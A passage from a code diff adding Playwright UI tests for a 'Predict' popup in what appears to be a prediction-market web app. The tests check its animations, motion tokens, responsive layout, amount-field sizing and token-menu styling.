(target.firstElementChild?.getAttribute("data-testid") === "predict-body") scrolls.push(target.scrollTop); + }, + true, + ); + }); + await openHarness(page, `${harness.url}?options=10&state=moved&credits=enough&open=press`); + await page.getByRole("button", { name: "Open predict" }).click(); + const dialog = page.getByRole("dialog"); + await expect(dialog.getByRole("button", { name: "Close" })).toBeVisible(); + await expect(dialog).toBeFocused(); + + // the moved figure is scrolled to once Details has unfolded + await expect + .poll(() => page.evaluate(() => (window as unknown as { bodyScrolls: number[] }).bodyScrolls.length)) + .toBeGreaterThan(0); + await page.waitForTimeout(600); + await expect(dialog.getByTestId("more-below")).toHaveCSS("opacity", "1"); + await expect(dialog.getByTestId("more-below-nudge")).toHaveClass(/fs-nudge-down/); + expect(await nudges(page)).toEqual([{ name: "fsNudgeDown", iterations: 3, properties: ["transform"] }]); + }); + + for (const theme of ["light", "dark"]) { + test(`holds still under reduced motion in the ${theme} theme`, async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await page.setViewportSize({ width: 375, height: 640 }); + const events = await recordNudges(page); + const dialog = await openPopup(page, 10, "idle", undefined, `&theme=${theme}`); + await expect(dialog.getByTestId("more-below")).toHaveCSS("opacity", "1"); + await page.waitForTimeout(500); + + expect(await nudges(page)).toEqual([]); + await expect(dialog.getByTestId("more-below-nudge")).toHaveCSS("animation-name", "none"); + expect(await events()).toEqual([]); + }); + } + + test("runs on the nudge duration token, and the pricing sweep on the loop token", async ({ page }) => { + const root = (name: string) => + page.evaluate((token) => getComputedStyle(document.documentElement).getPropertyValue(token).trim(), name); + const retune = (name: string, value: string) => + page.evaluate(([token, to]) => document.documentElement.style.setProperty(token!, to!), [name, value]); + await page.setViewportSize({ width: 375, height: 640 }); + const dialog = await openPopup(page, 10); + const nudging = dialog.locator(".fs-nudge-down"); + await expect(nudging).toHaveCount(1); + expect(await root("--fs-dur-nudge")).toBe("2s"); + await expect(nudging).toHaveCSS("animation-duration", "2s"); + await retune("--fs-dur-nudge", "3s"); + await expect(nudging).toHaveCSS("animation-duration", "3s"); + + const sweep = (await openPopup(page, 2, "quoting")).locator("[data-testid=pricing-sweep] > i"); + const before = () => sweep.evaluate((node) => getComputedStyle(node, "::before").animationDuration); + expect(await root("--fs-dur-loop")).toBe("1.6s"); + await expect(sweep).toHaveCSS("animation-duration", "1.6s"); + expect(await before()).toBe("1.6s"); + await retune("--fs-dur-loop", "2.4s"); + await expect(sweep).toHaveCSS("animation-duration", "2.4s"); + expect(await before()).toBe("2.4s"); + }); + + test("delays the pricing sweep by the enter token, and turns both spinners on the spin token", async ({ page }) => { + const root = (name: string) => + page.evaluate((token) => getComputedStyle(document.documentElement).getPropertyValue(token).trim(), name); + const retune = (name: string, value: string) => + page.evaluate(([token, to]) => document.documentElement.style.setProperty(token!, to!), [name, value]); + const dialog = await openPopup(page, 2, "signing"); + const busy = dialog.getByTestId("predict-spinner"); + // the market page's pending status icon, drawn here on its own + await page.evaluate(() => { + const icon = document.createElementNS("http://www.w3.org/2000/svg", "svg"); + icon.setAttribute("class", "fs-icon-pending"); + icon.setAttribute("data-testid", "pending-icon"); + document.body.append(icon); + }); + const pending = page.getByTestId("pending-icon"); + expect(await root("--fs-dur-spin")).toBe("1s"); + // declared with the other durations, so it reads the same with motion on + expect(await root("--fs-dur-reduced-fade")).toBe("150ms"); + await expect(busy).toHaveCSS("animation-duration", "1s"); + await expect(pending).toHaveCSS("animation-duration", "1s"); + await retune("--fs-dur-spin", "1.5s"); + await expect(busy).toHaveCSS("animation-duration", "1.5s"); + await expect(pending).toHaveCSS("animation-duration", "1.5s"); + + const sweep = (await openPopup(page, 2, "quoting")).locator("[data-testid=pricing-sweep] > i"); + const before = () => sweep.evaluate((node) => getComputedStyle(node, "::before").animationDelay); + await expect(sweep).toHaveCSS("animation-delay", "0.25s"); + await retune("--fs-dur-enter", "400ms"); + await expect(sweep).toHaveCSS("animation-delay", "0.4s"); + expect(await before()).toBe("0.4s"); + }); + + test("fades in place on the reduced-fade token under reduced motion", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?dialog=success`); + const row = page.getByRole("list", { name: "Transactions" }).getByRole("listitem").first(); + await expect(row).toHaveCSS("animation-name", "fsFadeIn"); + expect( + await page.evaluate(() => + getComputedStyle(document.documentElement).getPropertyValue("--fs-dur-reduced-fade").trim(), + ), + ).toBe("150ms"); + await expect(row).toHaveCSS("animation-duration", "0.15s"); + await page.evaluate(() => document.documentElement.style.setProperty("--fs-dur-reduced-fade", "90ms")); + await expect(row).toHaveCSS("animation-duration", "0.09s"); + }); + + // a status callout starts right under the strip, so the burst there is smaller + const AMPLITUDES = [ + { width: 1280, height: 720, state: "idle", lines: 0, lift: 3, drop: 6 }, + { width: 375, height: 640, state: "idle", lines: 0, lift: 3, drop: 6 }, + { width: 1280, height: 720, state: "idle&leftOut=1", lines: 1, lift: 2, drop: 3 }, + { width: 375, height: 640, state: "idle&leftOut=1", lines: 1, lift: 2, drop: 3 }, + { width: 375, height: 640, state: "moved", lines: 2, lift: 2, drop: 3 }, + { width: 320, height: 568, state: "moved", lines: 2, lift: 2, drop: 3 }, + ]; + for (const { width, height, state, lines, lift, drop } of AMPLITUDES) { + const beside = lines === 0 ? "with no status" : `clear of a ${lines}-line status`; + test(`lifts ${lift}px and drops ${drop}px with its words, ${beside}, at ${width} x ${height}`, async ({ page }) => { + await page.setViewportSize({ width, height }); + // opened once the fonts are in, so the bursts are still running when they are measured + await openHarness(page, `${harness.url}?options=10&state=${state}&open=press`); + await page.getByRole("button", { name: "Open predict" }).click(); + const dialog = page.getByRole("dialog"); + const cue = dialog.getByTestId("more-below"); + const nudge = dialog.getByTestId("more-below-nudge"); + await expect(nudge).toHaveClass(/fs-nudge-down/); + await nudge.evaluate((element) => element.getAnimations().forEach((animation) => animation.pause())); + await settle(dialog); + const strip = (await cue.boundingBox())!; + expect(await cue.evaluate((element) => getComputedStyle(element).paddingTop)).toBe("6px"); + const statusText = dialog.getByTestId("status-text"); + await expect(statusText).toHaveCount(lines === 0 ? 0 : 1); + const status = lines === 0 ? { top: Infinity, lines: 0 } : await statusText.evaluate(inkOf); + expect(status.lines, "the status line's lines").toBe(lines); + + const at = (time: number) => + nudge.evaluate( + (element, [time, measure]) => { + for (const animation of element.getAnimations()) { + animation.pause(); + animation.currentTime = time as number; + } + const arrow = element.querySelector("[data-testid=more-below-arrow]")!.getBoundingClientRect(); + const words = new Function(`return ${measure}`)()(element); + return { + shift: new DOMMatrixReadOnly(getComputedStyle(element).transform).f, + arrow: { top: arrow.top, bottom: arrow.bottom }, + words, + }; + }, + [time, inkOf.toString()] as const, + ); + const still = await at(0); + // the delay, then the lift's peak at 12.5% and the drop's at 25% of 2s + for (const [time, shift] of [ + [0, 0], + [500, -lift], + [750, drop], + ] as const) { + const now = await at(time); + expect.soft(now.shift, `${time}ms: moved by`).toBe(shift); + expect.soft(now.arrow.top - still.arrow.top, `${time}ms: the arrow moved by`).toBeCloseTo(shift, 3); + expect.soft(now.words.top - still.words.top, `${time}ms: the words moved by`).toBeCloseTo(shift, 3); + expect.soft(now.arrow.top, `${time}ms: below the hairline`).toBeGreaterThan(strip.y + 1); + expect.soft(now.arrow.bottom, `${time}ms: the arrow clear of the status text`).toBeLessThan(status.top); + expect.soft(now.words.bottom, `${time}ms: the words clear of the status text`).toBeLessThan(status.top); + } + }); + } +}); + +/** The ink of an element's own text, from its first line box and the font's measure of the words, and its line count. */ +function inkOf(element: Element): { top: number; bottom: number; lines: number } { + const text = [...element.childNodes].find((node) => node.nodeType === Node.TEXT_NODE)!; + const range = document.createRange(); + range.selectNodeContents(text); + const boxes = [...range.getClientRects()]; + const context = document.createElement("canvas").getContext("2d")!; + context.font = getComputedStyle(element).font; + const metrics = context.measureText(text.textContent ?? ""); + const baseline = boxes[0]!.top + metrics.fontBoundingBoxAscent; + return { + top: baseline - metrics.actualBoundingBoxAscent, + bottom: baseline + metrics.actualBoundingBoxDescent, + lines: new Set(boxes.map((box) => Math.round(box.top))).size, + }; +} + +for (const viewport of [ + { width: 375, height: 667 }, + { width: 360, height: 640 }, + { width: 320, height: 568 }, + { width: 568, height: 320 }, +]) { + test.describe(`a popup on a short screen at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("keeps the share slider and a 44px status slot", async ({ page }) => { + const dialog = await openPopup(page, 2, "failed", "funds"); + + await expect(dialog.getByTestId("amount-slider")).toBeVisible(); + expect((await dialog.getByRole("status").boundingBox())!.height).toBe(44); + }); + + for (const extra of ["", "&credits=enough"]) { + test(`gives the slider its own row and every control beside it its own pixels${extra}`, async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=idle${extra}`); + const dialog = page.getByRole("dialog"); + await expect(dialog.getByTestId("amount-slider")).toBeVisible(); + await settle(dialog); + const probe = await dialog.evaluate((element) => { + const slider = element.querySelector("[data-testid=amount-slider]")!; + slider.scrollIntoView({ block: "center" }); + const hit = element.querySelector("div:has(> #slider-track)")!.getBoundingClientRect(); + const x = hit.left + hit.width / 2; + // the run of pixels down the track's middle that land on the slider + let target = 0; + for (let y = Math.ceil(hit.top); y < hit.bottom; y++) { + if (slider.contains(document.elementFromPoint(x, y))) target++; + } + const neighbours = [ + element.querySelector("[data-testid=predict-summary] button"), + element.querySelector("[data-testid=credits-line] label"), + element.querySelector("[data-testid=credits-line] button"), + ].filter((control): control is Element => control !== null); + const lost = neighbours.filter((control) => { + const box = control.getBoundingClientRect(); + const y = box.top < hit.bottom && box.bottom > hit.bottom ? box.top + 1 : box.bottom - 1; + if (y < hit.top || y > hit.bottom) return false; + return slider.contains(document.elementFromPoint(box.left + Math.min(8, box.width / 2), y)); + }); + return { target, lost: lost.map((control) => control.textContent) }; + }); + expect(probe.lost, "controls whose edge the slider takes").toEqual([]); + expect(probe.target, "pixels down the track that move the slider").toBeGreaterThanOrEqual(32); + }); + } + }); +} + +for (const viewport of [ + { width: 1024, height: 720 }, + { width: 1280, height: 720 }, + { width: 1366, height: 657 }, + { width: 1440, height: 760 }, +]) { + test.describe(`a popup in a short desktop window at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("keeps the share slider and the full-height button, which only a phone gives up", async ({ page }) => { + const dialog = await openPopup(page, 2); + + await expect(dialog.getByTestId("amount-slider")).toBeVisible(); + expect((await dialog.locator(".predict-footer > .predict-cta").boundingBox())!.height).toBe(52); + }); + }); +} + +for (const viewport of [ + { width: 375, height: 667 }, + { width: 360, height: 640 }, + { width: 320, height: 568 }, +]) { + test.describe(`every failure at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("fits a moved line about a long-named option in its callout", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?options=4&state=moved&moved=1`); + const box = page.getByRole("dialog").getByRole("status").getByTestId("status-box"); + await expect(box).not.toBeEmpty(); + expect(await box.evaluate((element) => element.scrollHeight <= element.clientHeight + 1)).toBe(true); + }); + + test("fits its words in its 44px status slot, its callout under the title, without moving the footer", async ({ + page, + }) => { + const idle = await footprint(page, await openPopup(page, 10, "idle")); + for (const reason of FAILURE_REASONS) { + const dialog = await openPopup(page, 10, "failed", reason); + const status = dialog.getByRole("status"); + const [text, title] = await Promise.all([ + status.getByTestId("status-box").boundingBox(), + dialog.getByRole("heading", { name: "Predict", exact: true }).boundingBox(), + ]); + + expect.soft(await status.evaluate((element) => getComputedStyle(element).textAlign), reason).toBe("left"); + expect.soft(Math.abs(text!.x - title!.x), `${reason} starts under the title`).toBeLessThanOrEqual(1); + expect.soft((await status.boundingBox())!.height, `${reason}: the slot`).toBe(44); + expect + .soft( + await status + .getByTestId("status-box") + .evaluate((element) => element.scrollHeight <= element.clientHeight + 1), + `${reason}: the words fit the callout`, + ) + .toBe(true); + + expect.soft(await footprint(page, dialog), `${reason} has the idle popup's footprint`).toEqual(idle); + expect + .soft( + await dialog.getByRole("status").evaluate((element) => element.scrollHeight <= element.clientHeight + 1), + `${reason}: the status line fits its slot`, + ) + .toBe(true); + } + }); + }); +} + +for (const viewport of [ + { width: 844, height: 390 }, + { width: 667, height: 375 }, + { width: 568, height: 320 }, +]) { + test.describe(`a landscape phone at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("opens with the reason Predict is off in view", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + for (const state of ["disconnected", "failed", "pending"] as const) { + for (const options of [2, 10]) { + const dialog = await openPopup(page, options, state); + const status = dialog.getByTestId("status-text"); + await expect(status).not.toBeEmpty(); + // both scrolls wait a frame + await page.evaluate(() => new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done)))); + expect.soft(await isFullyShown(status), `${state}, ${options} options`).toBe(true); + } + } + }); + + for (const state of ["idle", "failed", "pending", "disconnected"] as const) { + test(`opens ${state} with its close button whole and nothing to scroll sideways`, async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + for (const options of [2, 10]) { + const dialog = await openPopup(page, options, state); + const close = dialog.getByRole("button", { name: "Close" }); + const sideways = await close.evaluate((element) => { + let scroller = element.parentElement; + while (scroller && getComputedStyle(scroller).overflowY !== "auto") scroller = scroller.parentElement; + return scroller ? scroller.scrollWidth - scroller.clientWidth : 0; + }); + expect.soft(sideways, `${options} options: sideways scroll`).toBe(0); + const [padding, bars] = await close.evaluate((element) => { + let scroller = element.parentElement!; + while (getComputedStyle(scroller).overflowY !== "auto") scroller = scroller.parentElement!; + const footer = scroller.querySelector(".predict-footer > .predict-cta")!.parentElement!; + const { scrollPaddingTop, scrollPaddingBottom } = getComputedStyle(scroller); + return [ + [parseFloat(scrollPaddingTop), parseFloat(scrollPaddingBottom)], + [element.closest(".predict-header")!.offsetHeight, footer.offsetHeight], + ]; + }); + expect + .soft(padding, `${options} options: scroll padding as tall as the sticky header and footer`) + .toEqual(bars); + expect.soft(await isFullyShown(close), `${options} options: the close button at open`).toBe(true); + } + }); + } + + test("covers what scrolls under its header with the surface and a fade, not a hard cut", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const dialog = await openPopup(page, 10, "idle"); + const header = dialog.getByRole("heading", { name: "Predict", exact: true, level: 2 }).locator(".."); + // a scroll-driven opacity is drawn on the next frame + const fadeAt = (scrollTop: number) => + header.evaluate(async (element, top) => { + element.parentElement!.scrollTop = top; + await new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done))); + return getComputedStyle(element, "::after").opacity; + }, scrollTop); + // without scroll-driven animations the fade always shows + if (await page.evaluate(() => CSS.supports("animation-timeline: scroll()"))) { + expect(await fadeAt(0), "no fade over the first estimate at rest").toBe("0"); + } + expect(await fadeAt(40), "the fade shows once the body has scrolled").toBe("1"); + const look = await header.evaluate((element) => { + const own = getComputedStyle(element); + const fade = getComputedStyle(element, "::after"); + return { + gap: parseFloat(own.marginBottom), + fade: parseFloat(fade.height), + gradient: fade.backgroundImage.startsWith("linear-gradient"), + below: parseFloat(fade.top) >= (element as HTMLElement).offsetHeight - 1, + }; + }); + expect(look.gap, "no see-through margin under the header").toBe(0); + expect(look.fade, "a fade at least 12px tall").toBeGreaterThanOrEqual(12); + expect(look.gradient, "the fade is a gradient").toBe(true); + expect(look.below, "the fade hangs below the header").toBe(true); + }); + + for (const [state, extra] of [ + ["signing", "&step=1"], + ["signing", ""], + ["confirming", ""], + ] as const) { + test(`keeps the running step below the header when a note shows mid-run, ${state}${extra}`, async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + for (const options of [2, 10]) { + const dialog = await openPopup(page, options, state, undefined, extra); + await page.evaluate(() => window.dispatchEvent(new CustomEvent("harness-left-out", { detail: 2 }))); + await expect(dialog.getByRole("status")).toHaveText("2 estimates could not be traded."); + // a scroll waits a frame after the render + await page.evaluate(() => new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done)))); + const row = dialog.locator(".predict-steps > li").filter({ has: page.locator('[data-bullet="running"]') }); + const title = row.getByText(new RegExp(`^(${STEPS.join("|")})$`)); + const header = (await dialog + .getByRole("heading", { name: "Predict", exact: true, level: 2 }) + .locator("..") + .boundingBox())!; + const bullet = (await dialog.locator('[data-bullet="running"]').boundingBox())!; + expect + .soft(bullet.y, `${options} options: the running bullet's top below the header`) + .toBeGreaterThanOrEqual(header.y + header.height); + expect.soft(await isFullyShown(title), `${options} options: its title`).toBe(true); + } + }); + } + + for (const [state, line] of [ + ["idle", /in your trade wallet/], + ["over", /^Not enough balance/], + ] as const) { + test(`keeps the amount's line above the button when Tab reaches the field, ${state}`, async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + for (const options of [2, 10]) { + const dialog = await openPopup(page, options, state); + const input = dialog.getByLabel("Amount"); + await dialog.evaluate((element) => { + const scroller = [...element.querySelectorAll("div")].find( + (node) => getComputedStyle(node).overflowY === "auto" && node.scrollHeight > node.clientHeight, + ); + if (scroller) scroller.scrollTop = 0; + }); + for (let step = 0; step < 80 && !(await input.evaluate((node) => node === document.activeElement)); step++) { + await page.keyboard.press("Tab"); + } + await expect(input).toBeFocused(); + await page.evaluate(() => new Promise((done) => requestAnimationFrame(() => requestAnimationFrame(done)))); + const summary = dialog.locator('[data-panel="amount"] > p').filter({ hasText: line }); + await expect(summary).toHaveCount(1); + expect.soft(await isFullyShown(input), `${options} options: the field`).toBe(true); + expect.soft(await isFullyShown(summary), `${options} options: the line under it`).toBe(true); + } + }); + } + + for (const state of ["idle", "failed"] as const) { + test(`keeps the button inside the dialog and every part reachable above it, ${state}`, async ({ page }) => { + // the open's scroll then lands at once + await page.emulateMedia({ reducedMotion: "reduce" }); + const dialog = await openPopup(page, 10, state); + const box = (await dialog.boundingBox())!; + const button = dialog.locator(".predict-footer > .predict-cta"); + const buttonBox = (await button.boundingBox())!; + expect(buttonBox.y + buttonBox.height, "the button's foot").toBeLessThanOrEqual(box.y + box.height); + if (state === "failed") { + expect(await isFullyShown(dialog.getByRole("status")), "the failure's reason at open").toBe(true); + expect(await isFullyShown(dialog.locator('[data-bullet="failed"]')), "the failed step at open").toBe(true); + } + + for (const part of [ + dialog.locator('[data-panel="amount"]'), + dialog.getByTestId("predict-summary"), + ...(await dialog.locator(".predict-steps > li").all()), + dialog.getByRole("status"), + ]) { + await part.evaluate((element) => element.scrollIntoView({ block: "nearest" })); + const partBox = (await part.boundingBox())!; + expect(partBox.y + partBox.height, "a part's foot above the button").toBeLessThanOrEqual( + (await button.boundingBox())!.y + 1, + ); + expect(partBox.y, "a part's top inside the dialog").toBeGreaterThanOrEqual(box.y); + const header = (await dialog.getByRole("heading", { name: "Predict", exact: true, level: 2 }).boundingBox())!; + expect(partBox.y, "a part's top below the header").toBeGreaterThanOrEqual(header.y + header.height - 1); + } + }); + } + }); +} + +test.describe("an amount over a four-digit balance at 375 x 812", () => { + test.use({ viewport: { width: 375, height: 812 } }); + + test("shows the balance and its token whole, and keeps the slider's thumb on the track at 100%", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=over&held=6833.959612`); + const dialog = page.getByRole("dialog"); + const summary = dialog.getByText(/^Not enough balance/); + + await expect(summary).toContainText("6,839.9596 sDAI"); + // inside its held slot, so the body keeps the idle popup's height + expect( + await summary.evaluate( + (element) => element.scrollWidth <= element.clientWidth && element.scrollHeight <= element.clientHeight, + ), + ).toBe(true); + expect(await isFullyShown(summary)).toBe(true); + + await expect(dialog.getByTestId("amount-share")).toHaveText("100%"); + const slider = dialog.getByTestId("amount-slider"); + const [thumb, row] = await Promise.all([ + slider.locator("div:has(>#slider-label)").boundingBox(), + slider.boundingBox(), + ]); + expect(thumb!.x).toBeGreaterThanOrEqual(row!.x); + expect(thumb!.x + thumb!.width).toBeLessThanOrEqual(row!.x + row!.width); + }); +}); + +for (const [width, tokens] of [ + [320, 1], + [320, 2], + [375, 1], + [375, 2], +] as const) { + test.describe(`the amount field with a long number at ${width} x 812, ${tokens} pay tokens`, () => { + test.use({ viewport: { width, height: 812 } }); + + test("steps its size down as the number grows, to a 16px floor, and has no stepper", async ({ page }) => { + const dialog = await openPopup(page, 2, "idle", undefined, tokens === 2 ? "&tokens=2" : ""); + const input = dialog.getByLabel("Amount"); + const read = () => + input.evaluate((element) => ({ + size: parseFloat(getComputedStyle(element).fontSize), + fits: element.scrollWidth <= element.clientWidth, + })); + + await expect.poll(read, "the amount at open").toEqual({ size: 30, fits: true }); + for (const typed of ["12345", "123456", "1234567", "12345.67", "123456789", "100.123456789012345678"]) { + await input.fill(typed); + const { size, fits } = await read(); + // under 16px a phone zooms the page into a focused field + expect.soft(size, `${typed}: no smaller than the floor`).toBeGreaterThanOrEqual(16); + expect.soft(fits || size === 16, `${typed}: scrolls only at the floor (${size}px)`).toBe(true); + } + await input.fill("123456"); + expect(await read(), "six digits fit").toMatchObject({ fits: true }); + await input.fill("10"); + await expect.poll(read, "a short number grows back").toEqual({ size: 30, fits: true }); + + // a blur groups the digits, which widens the value + await input.fill("12345678"); + await dialog.getByRole("heading", { name: "Predict", exact: true }).click(); + await expect(input).toHaveValue("12,345,678"); + await expect + .poll(async () => { + const { size, fits } = await read(); + return fits || size === 16; + }, "the grouped value refits") + .toBe(true); + + await input.hover(); + const steppers = dialog.getByTestId("amount-input").locator(".input-wrapper button"); + for (const stepper of await steppers.all()) await expect(stepper).toBeHidden(); + }); + + test("fits a nine-digit amount at rest", async ({ page }) => { + const dialog = await openPopup(page, 2, "over", undefined, `&held=123456789${tokens === 2 ? "&tokens=2" : ""}`); + const input = dialog.getByLabel("Amount"); + await expect(input).toHaveValue(/^123,?457,?769$/); + const fits = () => input.evaluate((element) => element.scrollWidth <= element.clientWidth); + if (width === 320 && tokens === 2) { + // a 75px field holds seven digits at the floor + expect(await input.evaluate((element) => getComputedStyle(element).fontSize)).toBe("16px"); + } else { + await expect.poll(fits).toBe(true); + } + }); + }); +} + +test.describe("an amount set by Max", () => { + test.use({ viewport: { width: 375, height: 812 } }); + + test("groups its digits at once, as the balance beside it does, and ungroups them for typing", async ({ page }) => { + const dialog = await openPopup(page, 2, "idle", undefined, "&held=123456789"); + const input = dialog.getByLabel("Amount"); + await expect(dialog.getByTestId("balance-figure")).toHaveText("123,456,795 sDAI"); + + await dialog.getByRole("button", { name: "Max" }).click(); + // the library groups a set value on its own after 3s + await expect(input).toHaveValue("123,456,795", { timeout: 1000 }); + + await input.focus(); + await expect(input).toHaveValue("123456795"); + // Home is the spinbutton's jump to its minimum, so the caret is placed directly + await input.evaluate((element) => (element as HTMLInputElement).setSelectionRange(0, 0)); + await input.pressSequentially("9"); + await expect(input).toHaveValue("9123456795"); + expect(await input.evaluate((element) => (element as HTMLInputElement).selectionStart)).toBe(1); + await dialog.getByRole("heading", { name: "Predict", exact: true }).click(); + await expect(input).toHaveValue("9,123,456,795", { timeout: 1000 }); + }); +}); + +test.describe("an amount over the balance", () => { + test.use({ viewport: { width: 375, height: 812 } }); + + test("tints its digits in the error tone, with no status icon beside them", async ({ page }) => { + const dialog = await openPopup(page, 2, "over"); + const input = dialog.getByLabel("Amount"); + const errorTone = await input.evaluate((element) => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-tone-error-text)"; + element.parentElement!.append(probe); + const tone = getComputedStyle(probe).color; + probe.remove(); + return tone; + }); + + await expect(input).toHaveCSS("color", errorTone); + await expect(dialog.getByTestId("amount-input").locator(".input-wrapper > svg")).toBeHidden(); + }); +}); + +test.describe("the amount panel's controls", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("round Max's focus ring to the panel's corners and draw the token's caret as a 1.5px chevron", async ({ + page, + }) => { + const dialog = await openPopup(page, 2, "idle", undefined, "&tokens=2"); + const token = dialog.getByRole("button", { name: /sDAI/ }); + + await expect(dialog.getByRole("button", { name: "Max" })).toHaveCSS("border-top-left-radius", "6px"); + await expect(token.locator("> svg").last()).toBeHidden(); + expect( + await token.evaluate((button) => { + const caret = getComputedStyle(button, "::after"); + return [caret.content, caret.width, caret.maskImage.startsWith("url(")]; + }), + ).toEqual(['""', "14px", true]); + }); +}); + +test.describe("the pay token's open menu", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + for (const theme of ["light", "dark"]) { + test(`is a rounded list on the popup's surface, its rows in the popup's text and the choice in the chip tone, in the ${theme} theme`, async ({ + page, + }) => { + await openPopup(page, 2, "idle", undefined, `&tokens=2&theme=${theme}`); + await page.getByRole("button", { name: /sDAI/ }).click(); + const listbox = page.getByRole("listbox"); + await expect(listbox).toBeVisible(); + await settle(page.locator("body")); + + const read = await listbox.evaluate((list) => { + const resolve = (property: string, value: string) => { + const probe = document.createElement("span"); + probe.style.setProperty(property, value); + document.body.append(probe); + const resolved = getComputedStyle(probe).getPropertyValue(property); + probe.remove(); + return resolved; + }; + const popover = list.closest("[data-trigger]") ?? list.parentElement!.parentElement!; + const rows = [...list.querySelectorAll("[role=option]")]; + const chosen = rows.find((row) => row.getAttribute("aria-selected") === "true")!; + const label = (row: HTMLElement) => getComputedStyle(row.querySelector("p")!); + return { + radius: getComputedStyle(popover).borderTopLeftRadius, + surface: [getComputedStyle(popover).backgroundColor, resolve("background-color", "var(--fs-surface)")], + line: [getComputedStyle(popover).borderTopColor, resolve("border-top-color", "var(--fs-popup-line)")], + heights: rows.map((row) => row.getBoundingClientRect().height), + sizes: rows.map((row) => label(row).fontSize), + text: [label(rows[1]!).color, resolve("color", "var(--fs-popup-text)")], + chosen: [getComputedStyle(chosen).backgroundColor, resolve("background-color", "var(--fs-popup-chip)")], + bar: getComputedStyle(chosen).borderLeftWidth, + }; + }); + + expect(read.radius).toBe("10px"); + expect(read.surface[0]).toBe(read.surface[1]); + expect(read.line[0]).toBe(read.line[1]); + expect(read.heights).toEqual([40, 40]); + expect(read.sizes).toEqual(["15px", "15px"]); + expect(read.text[0]).toBe(read.text[1]); + expect(read.chosen[0]).toBe(read.chosen[1]); + expect(read.bar).toBe("0px"); + }); + + test(`keeps the choice apart from a row the keyboard reaches, in the ${theme} theme`, async ({ page }) => { + await openPopup(page, 2, "idle", undefined, `&tokens=2&theme=${theme}`); + await page.getByRole("button", { name: /sDAI/ }).focus(); + await page.keyboard.press("Enter"); + const listbox = page.getByRole("listbox"); + await expect(listbox).toBeVisible(); + await page.keyboard.press("ArrowDown"); + const other = listbox.getByRole("option", { name: "xDAI" }); + await expect(other).toHaveAttribute("data-focused", "true"); + await settle(page.locator("body")); + + const [chosen, reached, accent] = await listbox.evaluate((list) => { + const look = (row: Element) => { + const label = getComputedStyle(row.querySelector("p")!); + return { background: getComputedStyle(row).backgroundColor, color: label.color, weight: label.fontWeight }; + }; + const probe = document.createElement("span"); + probe.style.color = "var(--fs-popup-accent-text)"; + document.body.append(probe); + const tone = getComputedStyle(probe).color; + probe.remove(); + return [look(list.querySelector('[aria-selected="true"]')!), look(list.querySelector("[data-focused]")!), tone]; + }); + expect(chosen.color, "the choice in the accent text").toBe(accent); + expect(chosen.color).not.toBe(reached.color); + expect(Number(chosen.weight)).toBeGreaterThan(Number(reached.weight)); + + const ring = await other.evaluate((row) => { + const probe = document.createElement("span"); + probe.style.color = "var(--fs-popup-accent)"; + document.body.append(probe); + const violet = getComputedStyle(probe).color; + probe.remove(); + const style = getComputedStyle(row); + const reach = parseFloat(style.outlineOffset) + parseFloat(style.outlineWidth); + const box = row.getBoundingClientRect(); + const clippedBy: string[] = []; + for (let parent = row.parentElement; parent; parent = parent.parentElement) { + const { overflowX, overflowY } = getComputedStyle(parent); + if (overflowX === "visible" && overflowY === "visible") continue; + const clip = parent.getBoundingClientRect(); + if ( + box.left - reach < clip.left - 0.5 || + box.right + reach > clip.right + 0.5 || + box.top - reach < clip.top - 0.5 || + box.bottom + reach > clip.bottom + 0.5 + ) { + clippedBy.push(parent.className || parent.tagName); + } + } + return { + outline: `${style.outlineStyle} ${style.outlineWidth} ${style.outlineColor}`, + expected: `solid 2px ${violet}`, + shadowRing: /\d+px [1-9]/.test(style.boxShadow), + clippedBy, + }; + }); + expect(ring.outline, "the reached row's ring in the violet").toBe(ring.expected); + expect(ring.shadowRing, "no second ring").toBe(false); + expect(ring.clippedBy, "the ring whole inside the list").toEqual([]); + }); + } +}); + +test.describe("a single pay token", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("draws no caret on a token select that cannot open", async ({ page }) => { + const dialog = await openPopup(page, 2); + const token = dialog.getByRole("button", { name: /sDAI/ }); + + await expect(token).toBeDisabled(); + expect(await token.evaluate((button) => getComputedStyle(button, "::after").display)).toBe("none"); + // the pill's ends hold the same space, icon to its left edge and label to its right + const [left, right] = await token.evaluate((button) => { + const box = button.getBoundingClientRect(); + const icon = button.querySelector("svg")!.getBoundingClientRect(); + const text = document.createTreeWalker(button, NodeFilter.SHOW_TEXT); + let label = 0; + for (let node = text.nextNode(); node; node = text.nextNode()) { + const range = document.createRange(); + range.selectNodeContents(node); + label = Math.max(label, range.getBoundingClientRect().right); + } + return [icon.left - box.left, box.right - label]; + }); + expect(right).toBeCloseTo(left, 0); + }); +}); + +test.describe("a balance that wraps under the amount's title", () => { + for (const viewport of [ + { width: 360, height: 640 }, + { width: 375, height: 667 }, + { width: 414, height: 896 }, + { width: 520, height: 900 }, + { width: 640, height: 900 }, + { width: 1280, height: 800 }, + ]) { + for (const held of ["1234.5678", "12345678.9", "98765432109.12345"]) { + test(`keeps one footprint across states with ${held} held at ${viewport.width} x ${viewport.height}`, async ({ + page, + }) => { + await page.setViewportSize(viewport); + const idleDialog = await openPopup(page, 2, "idle", undefined, `&held=${held}`); + const idle = await footprint(page, idleDialog); + const [title, balance] = await Promise.all([ + idleDialog.locator('[data-panel="amount"] h3').boundingBox(), + idleDialog.getByTestId("balance-figure").boundingBox(), + ]); 